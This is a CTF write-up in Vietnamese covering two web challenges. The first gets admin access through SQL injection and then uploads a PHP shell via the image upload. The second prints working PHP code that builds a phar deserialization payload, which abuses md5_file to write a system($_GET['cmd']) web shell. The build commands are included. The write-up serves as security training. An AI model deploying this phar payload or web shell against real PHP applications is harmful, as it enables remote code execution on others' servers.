Mobile ![image](https://hackmd.io/_uploads/rkLxE4WTC.png) Bài này trong thể loại web vulnerable. ![image](https://hackmd.io/_uploads/BJ5FN4WpR.png) Nó đơn giản là một trang web bán điện thoại, và nhiệm vụ chúng ta sẽ phải tìm ra lỗ hổng để lấy được flag. ### Fuzzing ![image](https://hackmd.io/_uploads/HkwIIE-TA.png) #### README[.]md ![image](https://hackmd.io/_uploads/HkmGbDZaR.png) Ở enpoint này chúng ta leak được source code của tác giả https://github.com/HoangTran0410/DoAn_Web2 Sau khi review source mình xác định được trang web có lỗi sqli ở phần login ![image](https://hackmd.io/_uploads/rkAXfDbpC.png) ![image](https://hackmd.io/_uploads/SyujMvZT0.png) Đăng nhập với admin và thành công. Vì sao mình biết được là Admin, vì lúc xem qua các chứ năng của trang web thì mình cũng phát hiện một số chỗ cũng dính sqli và mình đã cắm sqlmap để dump db ra. ![image](https://hackmd.io/_uploads/rJS0Xvb6C.png) #### admin[.]php Sau khi login với admin thì chúng ta truy cập vào trang admin mà vừa recon được xem có gì. ![image](https://hackmd.io/_uploads/rkA74wWpC.png) Ở đây có một trang quản trị thêm sản phẩm các thứ. Mình đoán ở đây có thể liên quan tới upload file -> RCE vì trang web cũng được code bằng php nên khả năng xảy ra rất cao. Vào burpsuite thì chúng ta bắt được một reuqest xử lý upload file ![image](https://hackmd.io/_uploads/HJtkrPZTC.png) Hình ảnh được lưu vào img/products/. Và bây giờ mình thử upload shell thay vì ảnh ![image](https://hackmd.io/_uploads/HybMLv-6R.png) ![image](https://hackmd.io/_uploads/HkCf8DZT0.png) Và bước đầu chúng ta đã thành công RCE. Công việc còn lại chỉ là lấy flag nữa thôi. ## File Checksum ### Khai thác thông tin ![image](https://hackmd.io/_uploads/r1ATjI9byx.png) Bài này đánh giá là ez nhưng quá trình mình làm thì thật sự thấy khá hay. ![image](https://hackmd.io/_uploads/Syl_aI5Wyg.png) Một trang upload file, ban đầu mình nghĩ liên quan đến file upload trong php. Nhưng khi thử upload một số file shell thì không có kết quả gì. Thì mỗi khi upload file lên thì nó sẽ đọc và trả ra mã md5 của file đó. Mà bài này lại cho source, nên mình tiến hành đọc qua thử xem sao. Source gồm nhiều file nên mình sẽ để những đoạn code nào quan trọng: ![image](https://hackmd.io/_uploads/S1eq0I5Wyl.png) Thứ nhất là file `logging.php` là một đoạn định nghĩa `class LogFile`, gồm 2 thuộc tính `filename`, `fcontents`. Nôm na là khi class này bị huỷ (tức là kết thúc chương trình) thì sẽ gọi đến hàm `__destruct` và gọi tới hàm `writeToFile` làm nhiệm vụ ghi nội dung từ `fcontents` vào `filename`. ![image](https://hackmd.io/_uploads/BJUDCUq-kx.png) Ở đoạn code này chương trình nhận tên file và md5 nội dung của nó và trả ra cho người dùng. Ban đầu thì mình cũng chưa hình dung ra chỗ nào để khai thác bug, dựa vào cái gợi ý của đề research thử một hồi. https://www.sonarsource.com/blog/new-php-exploitation-technique/ https://sec.vnpt.vn/2019/08/ky-thuat-khai-thac-lo-hong-phar-deserialization/ Mình tìm được 2 cái blog này, thì ban đầu nó cũng không có dấu hiệu gì liên quan lắm, vì mình nghĩ bug chỉ liên qua ở hàm `md5_file`. Tuy nhiên khi đọc hiểu sâu sâu thì mình thấy có hàm `md5_file` bị ảnh hưởng bởi kiểu tấn công này. ![image](https://hackmd.io/_uploads/Sy6mWP5Zkl.png) ### Tấn công Mình đã dựa vào blog này để xây dựng payload https://book.hacktricks.xyz/pentesting-web/file-inclusion/phar-deserialization Tuy nhiên cần phải chú ý cái này không phải một phát ăn ngay. Để ngắn gọn mình xin đưa code lên. ```php // create_phar.php <?php class LogFile { public $filename; public $fcontents; public function writeToFile() { if (!empty($this->filename) && !empty($this->fcontents)) { file_put_contents($this->filename, $this->fcontents . PHP_EOL, FILE_APPEND); } } public function __destruct() { $this->writeToFile(); } } // create new Phar $phar = new Phar('test.phar'); $phar->startBuffering(); $phar->addFromString('test.txt', 'text'); $phar->setStub("\xff\xd8\xff\n<?php __HALT_COMPILER(); ?>"); $object = new LogFile(); $object->filename = 'rce.php'; $object->fcontents = '<?php system($_GET["cmd"]); ?>'; $phar->setMetadata($object); $phar->stopBuffering(); ``` ```php // vuln.php <?php class LogFile { public $filename; public $fcontents; public function writeToFile() { if (!empty($this->filename) && !empty($this->fcontents)) { file_put_contents($this->filename, $this->fcontents . PHP_EOL, FILE_APPEND); } } public function __destruct() { $this->writeToFile(); } } filesize("phar://test.phar"); #The attacker can control this path ``` Chạy theo lệnh: ``` php --define phar.readonly=0 create_phar.php php vuln.php ``` Sau đó upload file test.phar đã được tạo lên server ![image](https://hackmd.io/_uploads/SyHnXv9W1g.png) Sau đó sang phần checksum ![image](https://hackmd.io/_uploads/Hk7g4P9-Jg.png) ![image](https://hackmd.io/_uploads/S197Evq-Jl.png) Và chúng ta đã RCE được